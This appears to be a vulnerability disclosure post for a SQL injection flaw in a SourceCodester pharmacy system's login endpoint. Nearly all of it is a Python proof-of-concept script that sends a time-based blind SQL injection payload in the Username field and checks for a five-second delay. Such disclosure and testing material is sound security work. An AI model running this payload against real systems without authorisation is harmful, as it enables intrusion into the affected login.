CVE-2026-6189 SourceCodester药房系统SQL注入漏洞

import requests def check_sqli(url): """Check for SQL Injection vulnerability in CVE-2026-6189""" target_url = f"{url}/ajax.php?action=login" # Payload for time-based blind SQL injection # This payload attempts to cause a delay of 5 seconds if the database is vulnerable payload = { "Username": "admin' AND (SELECT SLEEP(5))-- -", "Password": "randompassword" } try: print(f"[+] Sending request to {target_url}...") response = requests.post(target_url, data=payload, timeout=10) # Analyze response time (simplified check) # In a real scenario, compare time delta accurately if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Server response delayed.") else: print("[-] Vulnerability not confirmed or server response too fast.") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)